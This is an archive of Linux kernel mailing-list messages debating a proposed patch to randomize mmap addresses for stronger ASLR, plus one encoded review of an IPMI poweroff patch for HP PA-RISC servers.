X-Received: by 10.46.156.81 with SMTP id t17mr10079546ljj.58.1522093534800;
        Mon, 26 Mar 2018 12:45:34 -0700 (PDT)
Original-Received: from [192.168.1.3] (broadband-188-255-70-164.moscow.rt.ru. [188.255.70.164])
        by smtp.gmail.com with ESMTPSA id i62-v6sm3971155lfa.45.2018.03.26.12.45.32
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
        Mon, 26 Mar 2018 12:45:33 -0700 (PDT)
In-Reply-To: <20180326084650.GC5652@dhcp22.suse.cz>
X-Mailer: Apple Mail (2.3445.5.20)
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2725533 gmane.linux.ports.alpha:4876 gmane.linux.kernel.arc:3666 gmane.linux.ports.ia64:28746 gmane.linux.kernel.metag:1717 gmane.linux.ports.mips.general:64212 gmane.linux.ports.parisc:28413 gmane.linux.ports.ppc64.devel:155145 gmane.linux.ports.sh.devel:56734 gmane.linux.ports.sparc:27477 gmane.linux.kernel.mm:192322
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2725533>


> On 26 Mar 2018, at 11:46, Michal Hocko <mhocko@kernel.org> wrote:
>=20
> On Fri 23-03-18 20:55:49, Ilya Smith wrote:
>>=20
>>> On 23 Mar 2018, at 15:48, Matthew Wilcox <willy@infradead.org> =
wrote:
>>>=20
>>> On Thu, Mar 22, 2018 at 07:36:36PM +0300, Ilya Smith wrote:
>>>> Current implementation doesn't randomize address returned by mmap.
>>>> All the entropy ends with choosing mmap_base_addr at the process
>>>> creation. After that mmap build very predictable layout of address
>>>> space. It allows to bypass ASLR in many cases. This patch make
>>>> randomization of address on any mmap call.
>>>=20
>>> Why should this be done in the kernel rather than libc?  libc is =
perfectly
>>> capable of specifying random numbers in the first argument of mmap.
>> Well, there is following reasons:
>> 1. It should be done in any libc implementation, what is not possible =
IMO;
>=20
> Is this really so helpful?

Yes, ASLR is one of very important mitigation techniques which are =
really used=20
to protect applications. If there is no ASLR, it is very easy to exploit=20=

vulnerable application and compromise the system. We can=E2=80=99t just =
fix all the=20
vulnerabilities right now, thats why we have mitigations - techniques =
which are=20
makes exploitation more hard or impossible in some cases.

Thats why it is helpful.

>=20
>> 2. User mode is not that layer which should be responsible for =
choosing
>> random address or handling entropy;
>=20
> Why?

Because of the following reasons:
1. To get random address you should have entropy. These entropy =
shouldn=E2=80=99t be=20
exposed to attacker anyhow, the best case is to get it from kernel. So =
this is
a syscall.
2. You should have memory map of your process to prevent remapping or =
big
fragmentation. Kernel already has this map. You will got another one in =
libc.
And any non-libc user of mmap (via syscall, etc) will make hole in your =
map.
This one also decrease performance cause you any way call syscall_mmap=20=

which will try to find some address for you in worst case, but after you =
already
did some computing on it.
3. The more memory you use in userland for these proposal, the easier =
for
attacker to leak it or use in exploitation techniques.
4. It is so easy to fix Kernel function and so hard to support memory
management from userspace.

>=20
>> 3. Memory fragmentation is unpredictable in this case
>>=20
>> Off course user mode could use random =E2=80=98hint=E2=80=99 address, =
but kernel may
>> discard this address if it is occupied for example and allocate just =
before
>> closest vma. So this solution doesn=E2=80=99t give that much security =
like=20
>> randomization address inside kernel.
>=20
> The userspace can use the new MAP_FIXED_NOREPLACE to probe for the
> address range atomically and chose a different range on failure.
>=20

This algorithm should track current memory. If he doesn=E2=80=99t he may =
cause
infinite loop while trying to choose memory. And each iteration increase =
time
needed on allocation new memory, what is not preferred by any libc =
library
developer.

Thats why I did this patch.

Thanks,
Ilya




From - Thu Nov 08 21:41:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Michal Hocko <mhocko@kernel.org>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.mm
Subject: Re: [RFC PATCH v2 0/2] Randomization of address chosen by mmap.
Date: Tue, 27 Mar 2018 09:24:32 +0200
Lines: 99
Approved: news@gmane.org
Message-ID: <20180327072432.GY5652@dhcp22.suse.cz>
References: <1521736598-12812-1-git-send-email-blackzert@gmail.com>
 <20180323124806.GA5624@bombadil.infradead.org>
 <651E0DB6-4507-4DA1-AD46-9C26ED9792A8@gmail.com>
 <20180326084650.GC5652@dhcp22.suse.cz>
 <01A133F4-27DF-4AE2-80D6-B0368BF758CD@gmail.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: 8bit
X-Trace: blaine.gmane.org 1522135370 32069 195.159.176.226 (27 Mar 2018 07:22:50 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 27 Mar 2018 07:22:50 +0000 (UTC)
User-Agent: Mutt/1.9.4 (2018-02-28)
Cc: Matthew Wilcox <willy@infradead.org>, rth@twiddle.net,
        ink@jurassic.park.msu.ru, mattst88@gmail.com, vgupta@synopsys.com,
        linux@armlinux.org.uk, tony.luck@intel.com, fenghua.yu@intel.com,
        ralf@linux-mips.org, jejb@parisc-linux.org,
        Helge Deller <deller@gmx.de>, benh@kernel.crashing.org,
        paulus@samba.org, mpe@ellerman.id.au, schwidefsky@de.ibm.com,
        heiko.carstens@de.ibm.com, ysato@users.sourceforge.jp,
        dalias@libc.org, davem@davemloft.net, tglx@linutronix.de,
        mingo@redhat.com, hpa@zytor.com, x86@kernel.org,
        nyc@holomorphy.com, viro@zeniv.linux.org.uk, arnd@arndb.de,
        gregkh@linuxfoundation.org, deepa.kernel@gmail.com,
        Hugh Dickins <hughd@google.com>, kstewart@linuxfoundation.org,
        pombredanne@nexb.com, Andrew Morton <akpm@linux-foundation.org>,
        steve.capper@arm.com, punit.agrawal@arm.
To: Ilya Smith <blackzert@gmail.com>
Original-X-From: linux-kernel-owner@vger.kernel.org Tue Mar 27 09:22:40 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1f0iwJ-0008Bc-SV
	for glk-linux-kernel-4@m.gmane.org; Tue, 27 Mar 2018 09:22:40 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751241AbeC0HYn (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Tue, 27 Mar 2018 03:24:43 -0400
Original-Received: from mx2.suse.de ([195.135.220.15]:52992 "EHLO mx2.suse.de"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1750907AbeC0HYk (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
        Tue, 27 Mar 2018 03:24:40 -0400
X-Virus-Scanned: by amavisd-new at test-mx.suse.de
Original-Received: from relay2.suse.de (charybdis-ext.suse.de [195.135.220.254])
        by mx2.suse.de (Postfix) with ESMTP id 0CF05AFE0;
        Tue, 27 Mar 2018 07:24:38 +0000 (UTC)
Content-Disposition: inline
In-Reply-To: <01A133F4-27DF-4AE2-80D6-B0368BF758CD@gmail.com>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2725886 gmane.linux.ports.alpha:4877 gmane.linux.kernel.arc:3667 gmane.linux.ports.ia64:28747 gmane.linux.kernel.metag:1718 gmane.linux.ports.mips.general:64221 gmane.linux.ports.parisc:28414 gmane.linux.ports.ppc64.devel:155202 gmane.linux.ports.sh.devel:56735 gmane.linux.ports.sparc:27483 gmane.linux.kernel.mm:192372
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2725886>

On Mon 26-03-18 22:45:31, Ilya Smith wrote:
> 
> > On 26 Mar 2018, at 11:46, Michal Hocko <mhocko@kernel.org> wrote:
> > 
> > On Fri 23-03-18 20:55:49, Ilya Smith wrote:
> >> 
> >>> On 23 Mar 2018, at 15:48, Matthew Wilcox <willy@infradead.org> wrote:
> >>> 
> >>> On Thu, Mar 22, 2018 at 07:36:36PM +0300, Ilya Smith wrote:
> >>>> Current implementation doesn't randomize address returned by mmap.
> >>>> All the entropy ends with choosing mmap_base_addr at the process
> >>>> creation. After that mmap build very predictable layout of address
> >>>> space. It allows to bypass ASLR in many cases. This patch make
> >>>> randomization of address on any mmap call.
> >>> 
> >>> Why should this be done in the kernel rather than libc?  libc is perfectly
> >>> capable of specifying random numbers in the first argument of mmap.
> >> Well, there is following reasons:
> >> 1. It should be done in any libc implementation, what is not possible IMO;
> > 
> > Is this really so helpful?
> 
> Yes, ASLR is one of very important mitigation techniques which are really used 
> to protect applications. If there is no ASLR, it is very easy to exploit 
> vulnerable application and compromise the system. We can’t just fix all the 
> vulnerabilities right now, thats why we have mitigations - techniques which are 
> makes exploitation more hard or impossible in some cases.
> 
> Thats why it is helpful.

I am not questioning ASLR in general. I am asking whether we really need
per mmap ASLR in general. I can imagine that some environments want to
pay the additional price and other side effects, but considering this
can be achieved by libc, why to add more code to the kernel?

> > 
> >> 2. User mode is not that layer which should be responsible for choosing
> >> random address or handling entropy;
> > 
> > Why?
> 
> Because of the following reasons:
> 1. To get random address you should have entropy. These entropy shouldn’t be 
> exposed to attacker anyhow, the best case is to get it from kernel. So this is
> a syscall.

/dev/[u]random is not sufficient?

> 2. You should have memory map of your process to prevent remapping or big
> fragmentation. Kernel already has this map.

/proc/self/maps?

> You will got another one in libc.
> And any non-libc user of mmap (via syscall, etc) will make hole in your map.
> This one also decrease performance cause you any way call syscall_mmap 
> which will try to find some address for you in worst case, but after you already
> did some computing on it.

I do not understand. a) you should be prepared to pay an additional
price for an additional security measures and b) how would anybody punch
a hole into your mapping? 

> 3. The more memory you use in userland for these proposal, the easier for
> attacker to leak it or use in exploitation techniques.

This is true in general, isn't it? I fail to see how kernel chosen and
user chosen ranges would make any difference.

> 4. It is so easy to fix Kernel function and so hard to support memory
> management from userspace.

Well, on the other hand the new layout mode will add a maintenance
burden on the kernel and will have to be maintained for ever because it
is a user visible ABI.

> >> 3. Memory fragmentation is unpredictable in this case
> >> 
> >> Off course user mode could use random ‘hint’ address, but kernel may
> >> discard this address if it is occupied for example and allocate just before
> >> closest vma. So this solution doesn’t give that much security like 
> >> randomization address inside kernel.
> > 
> > The userspace can use the new MAP_FIXED_NOREPLACE to probe for the
> > address range atomically and chose a different range on failure.
> > 
> 
> This algorithm should track current memory. If he doesn’t he may cause
> infinite loop while trying to choose memory. And each iteration increase time
> needed on allocation new memory, what is not preferred by any libc library
> developer.

Well, I am pretty sure userspace can implement proper free ranges
tracking...

-- 
Michal Hocko
SUSE Labs


From - Thu Nov 08 21:41:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Corey Minyard <minyard@acm.org>
Newsgroups: gmane.linux.kernel.openipmi,gmane.linux.ports.parisc
Subject: Re: [PATCH] ipmi/parisc: Add IPMI chassis
 poweroff for certain HP PA-RISC servers
Date: Tue, 27 Mar 2018 08:16:20 -0500
Lines: 34
Approved: news@gmane.org
Message-ID: <54f020d1-55a1-e1a5-88c3-cb9cbf7add9c@acm.org>
References: <20180324194504.GA10210@ls3530.fritz.box>
Reply-To: minyard@acm.org
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="utf-8"; Format="flowed"
Content-Transfer-Encoding: base64
X-Trace: blaine.gmane.org 1522156472 6743 195.159.176.226 (27 Mar 2018 13:14:32 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 27 Mar 2018 13:14:32 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101
 Thunderbird/52.6.0
To: Helge Deller <deller@gmx.de>, linux-parisc@vger.kernel.org,
 openipmi-developer@lists.sourceforge.net,
 James Bottomley <James.Bottomley@HansenPartnership.com>,
 John David Anglin <dave.anglin@bell.net>
Original-X-From: openipmi-developer-bounces@lists.sourceforge.net Tue Mar 27 15:14:27 2018
Return-path: <openipmi-developer-bounces@lists.sourceforge.net>
Envelope-to: glko-openipmi-developer@m.gmane.org
Original-Received: from lists.sourceforge.net ([216.105.38.7])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <openipmi-developer-bounces@lists.sourceforge.net>)
	id 1f0oQk-0001bq-Hi
	for glko-openipmi-developer@m.gmane.org; Tue, 27 Mar 2018 15:14:26 +0200
Original-Received: from [127.0.0.1] (helo=sfs-ml-1.v29.lw.sourceforge.com)
	by sfs-ml-1.v29.lw.sourceforge.com with esmtp (Exim 4.90_1)
	(envelope-from <openipmi-developer-bounces@lists.sourceforge.net>)
	id 1f0oSl-0000bL-JF; Tue, 27 Mar 2018 13:16:31 +0000
Original-Received: from [172.30.20.202] (helo=mx.sourceforge.net)
 by sfs-ml-1.v29.lw.sourceforge.com with esmtps
 (TLSv1.2:ECDHE-RSA-AES256-GCM-SHA384:256) (Exim 4.90_1)
 (envelope-from <tcminyard@gmail.com>) id 1f0oSk-0000bE-G4
 for openipmi-developer@lists.sourceforge.net; Tue, 27 Mar 2018 13:16:30 +0000
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
 d=sourceforge.net; s=x; h=Content-Transfer-Encoding:Content-Type:In-Reply-To:
 MIME-Version:Date:Message-ID:From:References:To:Subject:Reply-To:Sender:Cc:
 Content-ID:Content-Description:Resent-Date:Resent-From:Resent-Sender:
 Resent-To:Resent-Cc:Resent-Message-ID:List-Id:List-Help:List-Unsubscribe:
 List-Subscribe:List-Post:List-Owner:List-Archive;
 bh=/OjbKV/+XCalyHcHBplfgFrcW+6KvZqMdu2hvjn90sM=; b=gLWHV5j/ZPZUriEIII5UiJrN2j
 mJqePJ6FZesIX6W9OGfAV+bZ/sOkCgVKYPjksGU5xMhe1dqV5KOTkyAQgue8pBzn78/J/Xdi/wXyw
 nGF8c5ZIn9E25xV3MwVqgHxHH3Z/oCEB6l3TGR+lsUgwxx5qCApoSwCin9UyDy2HyAW0=;
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=sf.net; s=x
 ;
 h=Content-Transfer-Encoding:Content-Type:In-Reply-To:MIME-Version:Date:
 Message-ID:From:References:To:Subject:Reply-To:Sender:Cc:Content-ID:
 Content-Description:Resent-Date:Resent-From:Resent-Sender:Resent-To:Resent-Cc
 :Resent-Message-ID:List-Id:List-Help:List-Unsubscribe:List-Subscribe:
 List-Post:List-Owner:List-Archive;
 bh=/OjbKV/+XCalyHcHBplfgFrcW+6KvZqMdu2hvjn90sM=; b=ZMOEjJ/NjNFC/xrnSYTdst9cF8
 xqtncQDQ9pSDZrYYBzXHfVaTY47JLKVSkx886t0F2Lb4d48vgwlof26tzOgRHADAKGMrvFqkY/5+A
 bF3wrk/WaPtzn02LFLm58CCTWKO3r6MVZBYxFxhUAgHBpasN9oqyc6np9OssIv+2CfIU=;
Original-Received: from sfi-lb-mx.v20.lw.sourceforge.com ([172.30.20.201]
 helo=mail-ot0-f193.google.com)
 by sfi-mx-3.v28.lw.sourceforge.com with esmtps
 (TLSv1.2:ECDHE-RSA-AES128-GCM-SHA256:128) (Exim 4.90_1)
 id 1f0oSi-009E7v-S8
 for openipmi-developer@lists.sourceforge.net; Tue, 27 Mar 2018 13:16:30 +0000
Original-Received: by mail-ot0-f193.google.com with SMTP id v23-v6so24418585oth.9
 for <openipmi-developer@lists.sourceforge.net>;
 Tue, 27 Mar 2018 06:16:28 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20161025;
 h=sender:reply-to:subject:to:references:from:message-id:date
 :user-agent:mime-version:in-reply-to:content-transfer-encoding
 :content-language;
 bh=/OjbKV/+XCalyHcHBplfgFrcW+6KvZqMdu2hvjn90sM=;
 b=BPRGUFnufY5Vv10K6jy1LtII9/cg/XsFFqVOmpLx7V5v7vKmLM5hBQOJNdyA9YJOa9
 useOblAlna6o15Jfe+T1HrXJh/f+SetJrmv5qCd+hDsd3V23z7Yji1L7UKoIZz/bdgmp
 D020yTbPWCV4pVWH+k465CH2tna47Vi80f4hDpHEokR/58KTcos8xwqH53IKmOHTROQi
 MmwKMzRM53H6wS9BwnL228aK0IaKltvFJYx+Dcd9z1Qk7PN3RVDxGympTYlhzrUCsM2U
 n/20jND2UHu8lV/43LA5qpakSln6SZ7p+5UqAbkO6jQQdx7ylWimCjEhYVWbEf4ntdQz
 4qdA==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
 d=1e100.net; s=20161025;
 h=x-gm-message-state:sender:reply-to:subject:to:references:from
 :message-id:date:user-agent:mime-version:in-reply-to
 :content-transfer-encoding:content-language;
 bh=/OjbKV/+XCalyHcHBplfgFrcW+6KvZqMdu2hvjn90sM=;
 b=hkBrBoR2dsj1Ol38OZXbLtRatDGsUs50QhGoPC9sJYVErcEmJhsmIttPX1QFuyEySS
 ChkOyQPTANnyHRDZWdygkSIFJzECIH3bxNN6krWZFUn2NmwzaE7/mOogSZB3LhHK0/2P
 KLsIXcjmMj1sfIShbnP1Q4KgFyfFRmDaghjIQjtX5L0SS80Zcs1TH9moMplMkFknOA76
 Dk84+mS5HGK0tWQruY2drYG0vYJsKlGdgQk4Gdf+C76vLWvgieSMGQGHtE72jn0OyPiG
 c6EFA66AkWxJnLGgSUfKm9iyigKk4qmEFdyv4mnqDhfnsP7AAQlIq+PD4Rp0aYQgFliu
 BrRA==
X-Gm-Message-State: AElRT7FdYk2regsrKVk5kLSfPgZF3O/KgM4ee1118CwiPaSKKKc7aAb7
 PvU/rrEgaZdmPCHQjSVWSQ==
X-Google-Smtp-Source: AIpwx49WyZccBrXW7vYztJHgUr36Ueod27fWxjOVK1eEqqcK1NuOhIfdzAPcX0pLODwKJLpfnTxjOg==
X-Received: by 2002:a9d:733:: with SMTP id 48-v6mr6690128ote.19.1522156583083; 
 Tue, 27 Mar 2018 06:16:23 -0700 (PDT)
Original-Received: from serve.minyard.net ([47.184.168.85])
 by smtp.gmail.com with ESMTPSA id m22-v6sm615057otf.12.2018.03.27.06.16.22
 (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
 Tue, 27 Mar 2018 06:16:22 -0700 (PDT)
Original-Received: from [192.168.27.3] (t430m.minyard.net [192.168.27.3])
 by serve.minyard.net (Postfix) with ESMTPSA id 42413304;
 Tue, 27 Mar 2018 08:16:21 -0500 (CDT)
In-Reply-To: <20180324194504.GA10210@ls3530.fritz.box>
Content-Language: en-GB
X-Spam-Score: 1.5 (+)
X-Spam-Report: Spam Filtering performed by mx.sourceforge.net.
 See http://spamassassin.org/tag/ for more details.
 0.0 FREEMAIL_FROM Sender email is commonly abused enduser mail provider
 (tcminyard[at]gmail.com)
 0.2 HEADER_FROM_DIFFERENT_DOMAINS From and EnvelopeFrom 2nd level mail
 domains are different
 1.0 SPF_SOFTFAIL           SPF: sender does not match SPF record (softfail)
 0.1 DKIM_SIGNED            Message has a DKIM or DK signature,
 not necessarily valid
 -0.1 DKIM_VALID Message has at least one valid DKIM or DK signature
 0.2 FREEMAIL_FORGED_FROMDOMAIN 2nd level domains in From and EnvelopeFrom
 freemail headers are different
X-Headers-End: 1f0oSi-009E7v-S8
X-BeenThere: openipmi-developer@lists.sourceforge.net
X-Mailman-Version: 2.1.21
Precedence: list
List-Id: Developer list of OpenIPMI library and Linux driver
 <openipmi-developer.lists.sourceforge.net>
List-Unsubscribe: <https://lists.sourceforge.net/lists/options/openipmi-developer>, 
 <mailto:openipmi-developer-request@lists.sourceforge.net?subject=unsubscribe>
List-Archive: <http://sourceforge.net/mailarchive/forum.php?forum_name=openipmi-developer>
List-Post: <mailto:openipmi-developer@lists.sourceforge.net>
List-Help: <mailto:openipmi-developer-request@lists.sourceforge.net?subject=help>
List-Subscribe: <https://lists.sourceforge.net/lists/listinfo/openipmi-developer>, 
 <mailto:openipmi-developer-request@lists.sourceforge.net?subject=subscribe>
Errors-To: openipmi-developer-bounces@lists.sourceforge.net
Xref: news.gmane.org gmane.linux.kernel.openipmi:3579 gmane.linux.ports.parisc:28415
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.openipmi/3579>

T24gMDMvMjQvMjAxOCAwMjo0NSBQTSwgSGVsZ2UgRGVsbGVyIHdyb3RlOgo+IFRoaXMgcGF0Y2gg
YWxsb3dzIEhQIFBBLVJJU0Mgc2VydmVycyBsaWtlIHJwMzQxMC9ycDM0NDAgYW5kIHRoZSBIUCBD
ODAwMAo+IHdvcmtzdGF0aW9uIHdpdGggYW4gSVBNSSBjb250cm9sbGVyIHRoYXQgcHJlZGF0ZSBJ
UE1JIDEuNSB0byB1c2UgdGhlIHN0YW5kYXJkCj4gcG93ZXJvZmYgb3IgcG93ZXJjeWNsZSBjb21t
YW5kcy4KPgo+IFRoZXNlIHN5c3RlbXMgZmlybXdhcmUgZG9uJ3Qgc2V0IHRoZSBjaGFzc2lzIGNh
cGFiaWxpdHkgYml0IGluIHRoZSBHZXQKPiBEZXZpY2UgSUQsIGJ1dCB0aGV5IGRvIGltcGxlbWVu
dCB0aGUgc3RhbmRhcmQgcG93ZXJvZmYgYW5kIHBvd2VyY3ljbGUKPiBjb21tYW5kcy4KCkEgZmV3
IGNvbW1lbnRzIG9uIHRoaXM6CgpUaGF0IGZ1bmN0aW9uIGlzIG5hbWVkIGlwbWlfZGVsbF9jaGFz
c2lzX2RldGVjdCgpLCBqdXN0IGFkZGluZyBhIEhQCmNoYXNzaXMgdG8gaXQgZG9lc24ndCBzZWVt
IGxpa2UgYSBnb29kIGlkZWEuwqAgVGhlcmUgaXMgYWxyZWFkeSBhbiBhcnJheQpvZiBwb3dlcm9m
ZiBmdW5jdGlvbnMsIHBsZWFzZSB1c2UgdGhhdCBhbmQgY3JlYXRlIHlvdXIgb3duIGZ1bmN0aW9u
LgpZb3Ugd291bGQgaGF2ZSB0byByZXN0cnVjdHVyZSB0aGUgZGVsbCBmdW5jdGlvbiB0byBtYWtl
IGl0IGNsZWFuLAphbmQgSSBkb24ndCB3YW50IHRvIGRvIHRoYXQuCgpUaGUgQ09ORklHX1BBUklT
QyBjbGF1c2UgcHJvYmFibHkgZG9lc24ndCBtYXR0ZXIuCgpQbGVhc2UgY3JlYXRlIGRlZmluZXMg
Zm9yIHRoZSBtYWdpYyBudW1iZXJzLgoKVGhhbmtzLAoKLWNvcmV5Cgo+IFNpZ25lZC1vZmYtYnk6
IEhlbGdlIERlbGxlciA8ZGVsbGVyQGdteC5kZT4KPgo+IGRpZmYgLS1naXQgYS9kcml2ZXJzL2No
YXIvaXBtaS9pcG1pX3Bvd2Vyb2ZmLmMgYi9kcml2ZXJzL2NoYXIvaXBtaS9pcG1pX3Bvd2Vyb2Zm
LmMKPiBpbmRleCAzOGU2YWYxYzhlMzguLjA5ZjM0ZWEzNzBkYSAxMDA2NDQKPiAtLS0gYS9kcml2
ZXJzL2NoYXIvaXBtaS9pcG1pX3Bvd2Vyb2ZmLmMKPiArKysgYi9kcml2ZXJzL2NoYXIvaXBtaS9p
cG1pX3Bvd2Vyb2ZmLmMKPiBAQCAtNDUzLDYgKzQ1MywxMyBAQCBzdGF0aWMgaW50IGlwbWlfZGVs
bF9jaGFzc2lzX2RldGVjdChpcG1pX3VzZXJfdCB1c2VyKQo+ICAgCSAgICBpcG1pX3ZlcnNpb25f
bWFqb3IgPD0gMSAmJgo+ICAgCSAgICBpcG1pX3ZlcnNpb25fbWlub3IgPCA1KQo+ICAgCQlyZXR1
cm4gMTsKPiArCj4gKwkvKiBCTUMgaW4gSFAgQzgwMDAgY2FuIGhhbmRsZSBjaGFzc2lzIGZ1bmN0
aW9ucyB0b28uICovCj4gKwlpZiAoSVNfRU5BQkxFRChDT05GSUdfUEFSSVNDKSAmJgo+ICsJICAg
IG1mZ19pZCA9PSAweDBiICYmIHByb2RfaWQgPT0gMHg4MjAxICYmCj4gKwkgICAgaXBtaV92ZXJz
aW9uID09IDEpCj4gKwkJcmV0dXJuIDE7Cj4gKwo+ICAgCXJldHVybiAwOwo+ICAgfQo+ICAgCgoK
Ci0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpDaGVjayBvdXQgdGhlIHZpYnJhbnQgdGVjaCBjb21tdW5p
dHkgb24gb25lIG9mIHRoZSB3b3JsZCdzIG1vc3QKZW5nYWdpbmcgdGVjaCBzaXRlcywgU2xhc2hk
b3Qub3JnISBodHRwOi8vc2RtLmxpbmsvc2xhc2hkb3QKX19fX19fX19fX19fX19fX19fX19fX19f
X19fX19fX19fX19fX19fX19fX19fX18KT3BlbmlwbWktZGV2ZWxvcGVyIG1haWxpbmcgbGlzdApP
cGVuaXBtaS1kZXZlbG9wZXJAbGlzdHMuc291cmNlZm9yZ2UubmV0Cmh0dHBzOi8vbGlzdHMuc291
cmNlZm9yZ2UubmV0L2xpc3RzL2xpc3RpbmZvL29wZW5pcG1pLWRldmVsb3Blcgo=


From - Thu Nov 08 21:41:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Ilya Smith <blackzert@gmail.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.mm
Subject: Re: [RFC PATCH v2 0/2] Randomization of address chosen by mmap.
Date: Tue, 27 Mar 2018 16:51:08 +0300
Lines: 183
Approved: news@gmane.org
Message-ID: <0549F29C-12FC-4401-9E85-A430BC11DA78@gmail.com>
References: <1521736598-12812-1-git-send-email-blackzert@gmail.com>
 <20180323124806.GA5624@bombadil.infradead.org>
 <651E0DB6-4507-4DA1-AD46-9C26ED9792A8@gmail.com>
 <20180326084650.GC5652@dhcp22.suse.cz>
 <01A133F4-27DF-4AE2-80D6-B0368BF758CD@gmail.com>
 <20180327072432.GY5652@dhcp22.suse.cz>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0 (Mac OS X Mail 11.2 \(3445.5.20\))
Content-Type: text/plain;
        charset=utf-8
Content-Transfer-Encoding: quoted-printable
X-Trace: blaine.gmane.org 1522158567 29236 195.159.176.226 (27 Mar 2018 13:49:27 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 27 Mar 2018 13:49:27 +0000 (UTC)
Cc: Matthew Wilcox <willy@infradead.org>, rth@twiddle.net,
        ink@jurassic.park.msu.ru, mattst88@gmail.com, vgupta@synopsys.com,
        linux@armlinux.org.uk, tony.luck@intel.com, fenghua.yu@intel.com,
        ralf@linux-mips.org, jejb@parisc-linux.org,
        Helge Deller <deller@gmx.de>, benh@kernel.crashing.org,
        paulus@samba.org, mpe@ellerman.id.au, schwidefsky@de.ibm.com,
        heiko.carstens@de.ibm.com, ysato@users.sourceforge.jp,
        dalias@libc.org, davem@davemloft.net, tglx@linutronix.de,
        mingo@redhat.com, hpa@zytor.com, x86@kernel.org,
        nyc@holomorphy.com, viro@zeniv.linux.org.uk, arnd@arndb.de,
        gregkh@linuxfoundation.org, deepa.kernel@gmail.com,
        Hugh Dickins <hughd@google.com>, kstewart@linuxfoundation.org,
        pombredanne@nexb.com, Andrew Morton <akpm@linux-foundation.org>,
        steve.capper@arm.com, punit.agrawal@arm.
To: Michal Hocko <mhocko@kernel.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Tue Mar 27 15:49:17 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1f0oyR-0007PK-US
	for glk-linux-kernel-4@m.gmane.org; Tue, 27 Mar 2018 15:49:16 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752704AbeC0NvS (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Tue, 27 Mar 2018 09:51:18 -0400
Original-Received: from mail-lf0-f65.google.com ([209.85.215.65]:33521 "EHLO
        mail-lf0-f65.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1752124AbeC0NvP (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Tue, 27 Mar 2018 09:51:15 -0400
Original-Received: by mail-lf0-f65.google.com with SMTP id x205-v6so33451526lfa.0;
        Tue, 27 Mar 2018 06:51:12 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=mime-version:subject:from:in-reply-to:date:cc
         :content-transfer-encoding:message-id:references:to;
        bh=y6PiAbP+0RgCdplau6Qz9CsZc8YXQN1l/gRCGxg/XVE=;
